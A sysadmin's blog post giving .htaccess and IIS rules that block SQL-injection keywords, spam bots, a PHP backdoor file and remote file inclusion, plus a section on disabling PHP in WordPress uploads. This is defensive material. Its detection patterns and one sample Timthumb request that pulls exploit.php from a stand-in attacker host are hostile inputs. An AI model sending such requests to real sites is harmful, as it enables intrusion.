7 Snippets to use .htaccess as a Web Application Firewall


GamesGames

Here are 7 .htaccess snippets for you to secure your website, by using .htaccess as a kind of Web Application Firewall (WAF). You can use this information to block exploits and rogue HTTP requests on your website.

.htaccess to secure your website, please note that some examples might be outdated.

Use .htaccess files to secure your website

Sometimes you have no choice but to protect your website yourself, for example if your hosting provider doesn’t offer a Web Application Firewall (WAF) [2] security solution. So, what .htaccess rules can you use to protect your website from online threats?

Did you know you can use .htaccess on IIS (Windows Server)? Helicon Ape provides support for Apache .htaccess and .htpasswd configuration files in Microsoft IIS. And it’s pretty easy to set up!

But first things first, what is a Web Application Firewall?

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) ([2]) and SQL injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

Helicon Ape can be used, in a way, to prevent basic SQL injection attacks too.

But there is a small downside using Helicon Ape to secure websites: the .htaccess file needs to be read for every HTTP request. Even though it’ll be cached for some time, this might cost some performance.

Using the .htaccess rewrite rules below, you can protect your website somewhat from online threats. An important fact is that you know your own website; you need to know what requests you can expect , which requests are valid, and which requests need to be blocked.

Here are some simple .htaccess examples and snippets for you. Where possible, I try to keep them cross platform, for both Windows Server IIS and Linux Apache.

Want to learn everything about Access Control in Apache .htaccess and WordPress? Ever wondered when to use ‘Allow/Deny from all’ or ‘Require All Granted/Denied’? I explain it in my post WordPress .htaccess security best practices in Apache 2.4.6+.

Magento app/etc/local.xml security

Older Magento versions suffered from a direct accessible app/etc/local.xml file containing MySQL database credentials. Block requests to Magento’s local.xml file easily:

# Secure Magento's local.xml file which contains MySQL database credentials
# See http://www.saotn.org/magento-appetclocal-xml-beveiliging/
# 
RewriteEngine On
RewriteCond %{REQUEST_URI} app/etc/local.xml$ [NC]
RewriteRule .? - [F,L]Code language: Apache (apache)

Protect against known SQL injection attacks through HTTP GET

# Secure your website from some known SQL Injectie attacks:
# Enable the rewrite engine
RewriteEngine On

# continue with SQL functions
# this works only on HTTP GET, *not* POST body
RewriteCond %{THE_REQUEST} (?:limit|union|select|concat|1==1|like|drop|\#|--) [NC]
RewriteRule .? - [F,L]

# Use mod_security to access the POST bodyCode language: Apache (apache)

Block spam bots in a .htaccess file

# block spambots (unverified!)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (?:Alexibot|Art-Online|asterias|BackDoorbot|Black.Hole|
BlackWidow|BlowFish|botALot|BuiltbotTough|Bullseye|BunnySlippers|Cegbfeieh|Cheesebot|CherryPicker|ChinaClaw|CopyRightCheck|cosmos|Crescent|Custo|DISCo|DittoSpyder|DownloadsDemon|eCatch|EirGrabber|EmailCollector|EmailSiphon|EmailWolf|EroCrawler|ExpresssWebPictures|ExtractorPro|EyeNetIE|FlashGet|Foobot|FrontPage|GetRight|GetWeb!|Go-Ahead-Got-It|Go!Zilla|GrabNet|Grafula|Harvest|hloader|HMView|httplib|HTTrack|humanlinks|ImagesStripper|ImagesSucker|IndysLibrary|InfonaviRobot|InterGET|InternetsNinja|Jennybot|JetCar|JOCsWebsSpider|Kenjin.Spider|Keyword.Density|larbin|LeechFTP|Lexibot|libWeb/clsHTTP|LinkextractorPro|LinkScan/8.1a.Unix|LinkWalker|lwp-trivial|MasssDownloader|Mata.Hari|Microsoft.URL|MIDownstool|MIIxpc|Mister.PiX|MistersPiX|moget|Mozilla/3.Mozilla/2.01|Mozilla.*NEWT|Navroad|NearSite|NetAnts|NetMechanic|NetSpider|NetsVampire|NetZIP|NICErsPRO|NPbot|Octopus|Offline.Explorer|OfflinesExplorer|OfflinesNavigator|Openfind|Pagerabber|PapasFoto|pavuk|pcBrowser|ProgramsSharewares1|ProPowerbot/2.14|ProWebWalker|ProWebWalker|psbot/0.1|QueryN.Metasearch|ReGet|RepoMonkey|RMA|SiteSnagger|SlySearch|SmartDownload|Spankbot|spanner|Superbot|SuperHTTP|Surfbot|suzuran|Szukacz/1.4|tAkeOut|Teleport|TeleportsPro|Telesoft|The.Intraformant|TheNomad|TightTwatbot|Titan|toCrawl/UrlDispatcher|toCrawl/UrlDispatcher|True_Robot|turingos|Turnitinbot/1.5|URLy.Warning|VCI|VoidEYE|WebAuto|WebBandit|WebCopier|WebEMailExtrac.*|WebEnhancer|WebFetch|WebGosIS|Web.Image.Collector|WebsImagesCollector|WebLeacher|WebmasterWorldForumbot|WebReaper|WebSauger|WebsiteseXtractor|Website.Quester|WebsitesQuester|Webster.Pro|WebStripper|WebsSucker|WebWhacker|WebZip|Wget|Widow|[Ww]eb[Bb]andit|WWW-Collector-E|WWWOFFLE|XaldonsWebSpider|Xenu's|Zeus) [NC]

# Prohibit and block the request:
RewriteRule .? - [F,L]Code language: Apache (apache)

Deny access to known PHP backdoors like l_backuptoster.php

# Deny access to l_backuptoster.php / l_backuptoster_backup.php
#  (PHP backdoor)
RewriteEngine On
RewriteCond %{REQUEST_URI} (^/l_backuptoster.php) [NC]

# or match any location
# RewriteCond %{REQUEST_URI} (l_backuptoster.php) [NC]
# or expanded
# RewriteCond %{REQUEST_URI} l_backuptoster(_backup)?.php [NC]
RewriteRule .? - [F,L]Code language: Apache (apache)

Joomla Search Engine Friendly (SEF) .htaccess

# From the standard Joomla .htaccess file, as reference
# 
# Block out any script trying to base64_encode data within the URL.
RewriteCond %{QUERY_STRING} base64_encode[^(]*([^)]*) [OR]
# Block out any script that includes a <script> tag in URL.
RewriteCond %{QUERY_STRING} (< |%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL.
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL.
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]Code language: Apache (apache)

The flag F means “Forbidden” and L is “Last” (stop rewriting this request).

.htaccess RewriteMap as blacklist

Using a RewriteMap, .htaccess files are very well usable to block IP addresses of known abusers. You easily create a web blacklist as described in this post.

Here’s how:

First you have to create a text file called “blacklist.txt” and put all IP addresses you want to block in that file. Because a RewriteMap uses a key1 / value1 structure, you have to add a key/value line. For example:

203.0.113.15 -Code language: plaintext (plaintext)

The IP address 203.0.113.15 is the key, and - the value.

Secondly, place your blacklist.txt file somewhere outside the web root preferably, and include the file in your .htaccess file as a RewriteMap:

RewriteMap blacklist txt:D:/path/to/your/blacklist.txt [NC]
# Or on Linux: RewriteMap blacklist txt:/path/to/your/blacklist [NC]

RewriteCond %{REMOTE_ADDR} (.*)
RewriteCond ${blacklist:%1|NOT_FOUND} !NOT_FOUND
RewriteRule .? - [F,L]Code language: Apache (apache)

Line by line explanation

  1. you declare a map file ‘blacklist’, called ‘blacklist.txt’
  2. the REMOTE_ADDR (the visitors IP address) is the look up key
  3. the value of our REMOTE_ADDR key is looked up in the blacklist.txt map
  4. if the value is found, the RewriteRule is executed

A ready to use PHP blacklist web application is found here:
Filter web traffic with blacklists. Always verify with your host whether .htaccess files are supported.

Block 0-day exploits, Remote File Inclusion (RFI) exploits, and so on in .htaccess

Use with care!

If your hosting provider offers support for .htaccess files and you are on top of new vulnerabilities in web software, you can make use of the rewriting capability of .htaccess. Whether you use .htaccess with Apache mod_rewrite, or .htaccess in IIS with Helicon Ape on Windows Server.

Use the rewrite engine, for instance, to block out known, and even unknown vulnerabilities in the software you use. You can block new and known – or even yet unknown 0-day – exploits by matching either a QUERY_STRING, REQUEST_URI or REQUEST_FILENAME.

In the above part, I showed you how to protect your website from some known exploits. Please keep in mind: you cannot scan, filter and block POST payloads with .htaccess. You need ModSecurity for that.

Now follows a practical tip to block Remote File Inclusion (RFI) Cross Site Scripting (or XSS) attacks. Simply by blocking all requests to external HTTP addresses and websites.

Use .htaccess rule to block requests to remote URL’s & secure your website

Lots of vulnerabilities in scripts are exploited by requesting remote files and content. This is called Remote File Inclusion: the output of remote scripts is executed within the context of the vulnerable script and server. A notorious example is Timthumb. Timthumb is used in many WordPress themes and plugins.

If you know what to look for, you can easily block those requests to remote files with a .htaccess file. For example, if a remote domain name is provided as URL parameter. The following example looks at the ?src= query string parameter and blocks the request if it doesn’t match our own domain name.

RewriteEngine On
RewriteCond %{QUERY_STRING} (src=) [NC]
RewriteCond %{QUERY_STRING} ((http(s)?)://)? [NC]
RewriteCond %{QUERY_STRING} !((.+\.)?(example\.com)) [NC]
RewriteRule .? / [F,L]Code language: Apache (apache)

Replace example.com with your own domain name. You need to escape the dot (“.“) in the expression with a back slash \.

The .htaccess rule explained
The above .htaccess rules looks at three query string parameters and then decides to block the request with a Forbidden flag if all conditions are met.

  1. if src= is provided in the query string
  2. and optional HTTP or HTTPS as protocol
  3. if it doesn’t contain your own domain name example.com
  4. then refuse the request

For example, a HTTP request with query string parameter ?src= and value http://evil_hacker_site.com:

http://localhost/wp-content/themes/thema/timthumb.php?src=http://evil_hacker_site.com/exploit.phpCode language: plaintext (plaintext)

Is blocked with a 403 Forbidden HTTP status code.

RewriteCond matching in .htaccess
The above RewriteCond condition (or rule) matches random positions in the query string. Keep that in mind. The following URL is matched too:

http://localhost/wp-content/themes/thema/timthumb.php
  ?foo=http://&src=123&bar=example.comCode language: plaintext (plaintext)

Also, try to combine as much in one rule as possible:

RewriteEngine On
RewriteCond %{QUERY_STRING} src=(http(s)?://)?(?!((.+\.)?example\.com)) [NC]
RewriteRule .? / [F,L]Code language: Apache (apache)

Be careful though, web application security firm Acunetix warns against using .htaccess for security restrictions:

Many PHP web applications use .htaccess files to restrict access to specific files or directories that may contain sensitive information. For example, in order to restrict access to all files in a specific directory you can create a .htaccess file in that directory containing the string “deny from all”. In many cases it is wrong to impose security restrictions  using .htaccess files.  

Acunetix – htaccess files should not be used for security restrictions
foto van Jan Reilink

About the author

Hi, my name is Jan. I am not a hacker, coder, developer or guru. I am merely a systems administrator, doing my daily SysOps/DevOps thing at cldin. With over 15 years of experience, my specialties include Windows Server, IIS, Linux (CentOS, Debian), security, PHP, websites & optimization.

0 0 votes
Article Rating
Subscribe
Notify of
1 Comment
Newest
Oldest Most Voted
Inline Feedbacks
View all comments
1 month ago

It’s recommended to disallow access to and execution of PHP files in wp-content/uploads folder. Preferably without the use of a security plugin. Blocking access to PHP files in WordPress wp-content/uploads folder is easily achieved with a .htaccess file on Linux Apache, or web.config accesssPolicy in Windows Server IIS, and here is how.
Table of Contents
show


1
Block PHP execution in Windows Server IIS and Linux Apache


1.1
Windows Server IIS web.config


1.2
Using a web.config file directly


1.3
PHP function to disable PHP execution in wp-content/uploads in Windows Server


1.4
Re-enable PHP script execution


1.5
Disable PHP execution in a selected directory on Linux Apache


1.6
Share this post:

Secure your WordPress site with this simple, yet effective, tip!
Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads other backdoors are uploaded to various locations, and scripts are injected with malware.
Please note that the techniques shown below will only partially secure your WordPress website, but not fully! You must take other security measures as well. For example, you can use a .htaccess as a web application firewall (WAF), to block out some vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.
Block PHP execution in Windows Server IIS and Linux Apache
As said, it is recommended to deny PHP execution in folders like WordPress wp-content/uploads. A lot of malware is uploaded to that folder and used as and entry point. Additional malware and PHP backdoors are uploaded from there, so disable PHP execution in wp-content/uploads! Let’s start.
Windows Server IIS web.config
The easiest method in IIS to disable PHP execution in a folder is to create a web.config file with an accessPolicy for handlers. Such an accessPolicy tells IIS what a PHP hander is allowed to do: execute, read, or read/write. Using this technique you disable the execution of PHP completely for that particular folder.
You’ll find more information about IIS Handlers in IIS’ documentation.
In IIS Manager:

In IIS Manager, click through to your web site
double click “Handler Mappings”
search for PHP and double click
click Request Restrictions
click the tab Access
Set Script to Read





Set PHP handler accessPolicy (Request Restrictions) to Read in IIS
Did you know you can use Windows Server File Server Resource Manager File Screens to block the upload of vulnerable WordPress plugins? Read all about it in Deny vulnerable WordPress plugins using Windows Server File Server Resource Manager’s File Screens.
Using a web.config file directly
Copy and paste the following XML into a new file and save it as web.config:
.wp-block-code {
border: 0;
padding: 0;
}

.wp-block-code > div {
overflow: auto;
}

.shcb-language {
border: 0;
clip: rect(1px, 1px, 1px, 1px);
-webkit-clip-path: inset(50%);
clip-path: inset(50%);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute;
width: 1px;
word-wrap: normal;
word-break: normal;
}

.hljs {
box-sizing: border-box;
}

.hljs.shcb-code-table {
display: table;
width: 100%;
}

.hljs.shcb-code-table > .shcb-loc {
color: inherit;
display: table-row;
width: 100%;
}

.hljs.shcb-code-table .shcb-loc > span {
display: table-cell;
}

.wp-block-code code.hljs:not(.shcb-wrap-lines) {
white-space: pre;
}

.wp-block-code code.hljs.shcb-wrap-lines {
white-space: pre-wrap;
}

.hljs.shcb-line-numbers {
border-spacing: 0;
counter-reset: line;
}

.hljs.shcb-line-numbers > .shcb-loc {
counter-increment: line;
}

.hljs.shcb-line-numbers .shcb-loc > span {
padding-left: 0.75em;
}

.hljs.shcb-line-numbers .shcb-loc::before {
border-right: 1px solid #ddd;
content: counter(line);
display: table-cell;
padding: 0 0.75em;
text-align: right;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
white-space: nowrap;
width: 1%;
}
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<!-- deny PHP execution per IIS accessPolicy -->
<handlers accessPolicy="Read"/>
</system.webServer>
</configuration>
Code language: HTML, XML (xml)
You can use the following PowerShell or appcmd.exe commands to configure an accessPolicy for handlers. Substitute example.com with your website name:
# PowerShell, WebAdministration
Set-WebConfiguration "/system.webServer/handlers/@accessPolicy" -value "Read" -PSPath "MACHINE/WEBROOT/APPHOST/example.com/wp-content/uploads"
Code language: PowerShell (powershell)
# AppCmd.exe
appcmd.exe set config "example.com/wp-content/uploads" /section:handlers /accessPolicy:Read
Code language: PowerShell (powershell)
Caveat: by setting an accessPolicy to “Read”, you basically disable all configured handlers, not just PHP.
PHP function to disable PHP execution in wp-content/uploads in Windows Server
As always, the PHP code is provided AS-IS. The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php.
It shouldn’t be too hard for you to wrap this in a WordPress plugin:
<?php
function disable_script_execution() {
$is_iis7 = true;
$path = WP_CONTENT_DIR . '/uploads';
$filename = 'web.config';
if ( $is_iis7 ) {
if ( ! file_exists( $path . '/' . $filename ) ) {
$fp = fopen( $path . '/' . $filename, 'w' );
fwrite( $fp, '<configuration/>' );
fclose( $fp );
}

$formatxml = PHP_EOL;
$formatxml = " <handlers accessPolicy="Read" />";
$formatxml .= PHP_EOL;

$doc = new DOMDocument();
$doc->preserveWhiteSpace = true;
if ( $doc->load( $path . '/' . $filename) === false ) {
return false;
}
$xpath = new DOMXPath( $doc );
$read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,'Read')]' );
if ( $read_accesspolicy->length > 0 ) {
return true;
}

$xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' );
if ( $xmlnodes->length > 0 ) {
$handlers_node = $xmlnodes->item(0);
}
else {
$handlers_node = $doc->createElement( 'handlers' );
$xmlnodes = $xpath->query( '/configuration/system.webServer' );
if ( $xmlnodes->length > 0 ) {
$system_webServer_node = $xmlnodes->item(0);
$handler_fragment = $doc->createDocumentFragment();
$handler_fragment->appendXML( $formatxml );
$system_webServer_node->appendChild( $handler_fragment );
}
else {
$system_webServer_node = $doc->createElement( 'system.webServer' );
$handler_fragment = $doc->createDocumentFragment();
$handler_fragment->appendXML( $formatxml );
$system_webServer_node->appendChild( $handler_fragment );

$xmlnodes = $xpath->query( '/configuration' );
if ( $xmlnodes->length > 0 ) {
$config_node = $xmlnodes->item(0);
$config_node->appendChild( $system_webServer_node );
}
else {
$config_node = $doc->createElement( 'configuration' );
$doc->appendChild( $config_node );
$config_node->appendChild( $system_webServer_node );
}
}
}

$rule_fragment = $doc->createDocumentFragment();
$rule_fragment->appendXML( $formatxml );
$handlers_node->appendChild( $rule_fragment );

$doc->encoding = "UTF-8";
$doc->formatOutput = true;
saveDomDocument( $doc, $path .'/'. $filename );
return true;
}
}
Code language: PHP (php)
Re-enable PHP script execution
If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/> line:
<?php
function enable_script_execution() {
$is_iis7 = true;
$path = WP_CONTENT_DIR . '/uploads';
$filename = 'web.config';
if ( $is_iis7 ) {
if ( ! file_exists( $path . '/' . $filename ) ) {
return true;
}

$doc = new DOMDocument();
$doc->preserveWhiteSpace = false;
if ( $doc->load( $path . '/' . $filename ) === false ) {
return false;
}

$xpath = new DOMXPath($doc);
$handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,'Read')]' );
if ( $handlers->length > 0 ) {
$child = $handlers->item(0);
$parent = $child->parentNode;
$parent->removeChild( $child );
$doc->formatOutput = true;
saveDomDocument( $doc, $path .'/'. $filename );
}
}
return true;
}
?>
Code language: PHP (php)
Disable PHP execution in a selected directory on Linux Apache
There are several methods to disable PHP execution in Apache using a .htaccess file. I’ll mention them here in short:
SetHandler: use SetHandler default-handler to send the file using the default_handler(), which is the handler used by default to handle static content. It just renders the PHP as text. So be careful with this.
In your wp-content/uploads/.htaccess file, add:
# use <Files *> if appropriate
<Files *.php>
SetHandler default-handler
</Files>
Code language: Apache (apache)
Mod_authz_core .htaccess access control: you can deny access to PHP files using Apache access control in mod_authz_core module. It’ll send a 403 response for requests to *.php files. Add to your .htaccess file:
<Files *.php>
# Apache 2.2
<IfModule !mod_authz_core.c>
Order Deny,Allow
Deny from all
</IfModule>
# Apache 2.4.6+
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
</Files>
Code language: Apache (apache)

I find it hard to believe so called “#WordPress #Security” companies still write about the old, non-functional, .htaccess syntax for Access Control ?https://t.co/yU2VZ9VNSy— Jan Reilink (@Jan_Reilink) August 19, 2020

Please note the IfModule condition whether the module mod_authz_core.c is available. This is important as explained in the above linked article.
Mod_Rewrite: rewrite and forbid requests to *.php files. It’s easy to use mod_rewrite to deny access to *.php files by rewriting those requests and sending a F|forbidden flag:
RewriteEngine On
RewriteRule ^.*.php$ - [F,L]
Code language: Apache (apache)
Why did I start this article with

Preferably without the use of a security plugin

Because most security plugins are easy to defeat, especially once you have access to the file system the website resides on (e.g WordPress admin, FTP access, and so on). The post Defeating WordPress Security Plugins (Revisited) by @TheXC3LL has some nice red teaming thoughts about this.
By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.Share this post:
Share on Twitter

Share on Facebook

Share on Pinterest

Share on LinkedIn

Share on Email

Share on Reddit

1
0
Would love your thoughts, please comment.x
()
x